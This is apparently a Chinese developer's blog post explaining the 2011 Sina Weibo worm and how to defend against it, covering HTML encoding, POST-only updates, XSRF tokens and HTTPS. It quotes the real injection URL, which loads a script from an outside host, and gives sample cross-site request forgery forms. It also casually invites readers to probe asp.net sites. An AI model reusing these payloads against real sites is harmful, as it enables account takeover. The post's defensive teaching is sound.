昨晚(2011/06/28)新浪微博也出现“***”***蛮有代表性;网站上流行的XSS( Cross-Site-Script) / XSRF ( Cross-site request forgery ) 往往是被web开发者忽视的,这里记述一下相关的事情。

先说新浪微博。

昨天的***情况介绍可以参考:
* http://soft.yesky.com/security/156/30179156.shtml

昨晚的***漏洞根源其实很傻,被用于***的URL(当然这个URL现在不工作了)是:
* http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

很显然,/pub/star/g/ 后面的字符串会被新浪内部write过,变成类似:
* http://weibo.com/pub/star.php?g=xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

的玩意,然后star.php竟然会把querystring中g的值直接显示到页面中,相当于 weibo.com 在自己的页面中嵌入了一个来自于 2kt.cn的js脚本。

这种是相当低级的注入***,有做web开发经验的同学都应该懂;应该说,新浪微博遭遇的这次***的根源还跟XSS / XSRF 这些“高级”玩意完全没有关系。

weibo.com的页面被嵌入第三方js之后,这个js做的就是 XSRF去完成各种发推/关注/私信的操作,但从安全的角度看,这些我认为已经不重要了,这次的***根源仅是最低级的页面注入。

要避免这样的问题,在页面模板中,所有的变量输出,默认都应该做 HTML encode:

<%=Request.QueryString["qry"] %>

默认就应该对输出的值做html encode,相当于:

<%=HttpUtil.HtmlEncode(Request.QueryString["qry"]) %>

目前新web框架的模板引擎基本默认都会对变量页面输出做html encode;这样注入的问题都会被避免。

以Razor为例:
<div>
@Model.UserName
</div>

默认相当于:
<div>
<%=UttpUtil.HtmlEncode(Model.UserName) %>
</div>

至于连模板都没有用,直接拼接字符串输出html的做法,就彻底无语了。

====== XSRF / XSS ======
这样的***方式才相对“新颖”一些。

===== HTTP Get =====
假设网站存在可能导致用户数据改变的接口,如:
* http://dummydomain.com/update_nick.aspx?nick=Stupid

那么,第三方网站可以直接将上述URL作为一个img标签的src,使得用户在访问的时候自动去获取此页面,造成昵称被改。

这里的问题根源是接口定义违反了HTTP的推荐设计。

一切HTTP Get操作,都不应该涉及用户数据的修改;必须强制使用为POST,以避免数据被无意/恶意修改。

===== HTTP Post =====
假设修改昵称的接口变成:
* http://dummydomain.com/update_nick.aspx

用户必须通过form提交才可能可以修改数据,比方说:
<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="text" name="nick" value="" />
<input type="submit" />
</form>
</code>
这样的设计实际上也还是会有问题的,比方说,***者可以在 http://attackerdomain.com/clickme.html 里面写:

<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="nick" value="Stupid" />
<input type="submit" value="Click Me!!" />
</form>
</code>
用户在访问 attackerdomain.com 的时候,便有可能被误导去点击,然后造成自己在 dummydomain.com 的数据被修改。

在这样的场景下,无论接口是Get还是Post,都无济于事;这类***是被称为 XSRF: Cross-site request forgery。

===== XSRF =====
相比起页面注入,Web开发者对于XSRF的认识还不够;但它也是可以防范的。

首先,要确保所有的涉及数据更新的操作都是经过HTTP Post。

然后,服务器端强制要求所有 HTTP Post都必须包含一个 _XSRF 的参数;其值必须跟Cookie中的同名Cookie相同,比方说:

<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="_XSRF" value="secret_value" />
<input type="text" name="nick" value="" />
<input type="submit" />
</form>
</code>

当***者企图从 http://attackerdomain.com/clickme.html 页面提交资料去 http://dummydomain.com/update_nick.aspx 时,浏览器发送的是 dummydomain的 cookie;而这个cookie的值,是attacherdomain.com所无法获得的,也就是说,它无法伪造:

<code html>
<form action="http://dummydomain.com/update_nick.aspx" method="post">
<input type="hidden" name="_XSRF" value="Attacher can't know this value!" />
<input type="hidden" name="nick" value="Stupid" />
<input type="submit" value="Click Me!!" />
</form>
</code>

有安全意识,或者说,先进的web框架( Django / Tornado / RoR 等等 ),默认都强制要求POST提交必须有 XSRF 检查。

微软的技术,基本都是跟在别人后面的,目前似乎还是的开发者手动去处理,asp.net MVC 可以参考:
* http://weblogs.asp.net/srkirkland/archive/2010/04/14/guarding-against-csrf-attacks-in-asp-net-mvc2.aspx

如果asp.net开发者没有安全意识,专门去给所有页面添加XSRF的检查,那么做出来的网站,都可能受到 XSRF ***。

大家有兴趣的话可以去挑各种asp.net开发的网站去试;或者说,想想自己做过的网站是否会受到此种***。

:)

====== Web 安全的根基 ======
Cookie / Same origin policy(简单的说,就是防止AJAX跨域)是 Web安全的根源。

而这两点,是由客户端浏览器所保证的,如果客户端实现得不好,域名A可以访问域名B的cookie值,或者说发起AJAX调用,那么所有服务器端的安全措施都是白搭。

Cookie在HTTP中是明文传输的,是可能会被中间人窃取然后伪造的;而cookie又是Web用户认证信息的根源,一旦Cookie泄露,***方就可以为所欲为。

所以,很多网站(比方说, twitter / gmail)默认都在强制把所有的页面传输转移去 HTTPS;以杜绝中间人的问题。

千里之堤,溃于蚁穴;根基不牢靠,上层所做的任何安全措施,都可能被攻破。

这里的关键,是要有一个可靠的根基,跟Web技术没有直接关系,Native程序也会有同样性质的问题。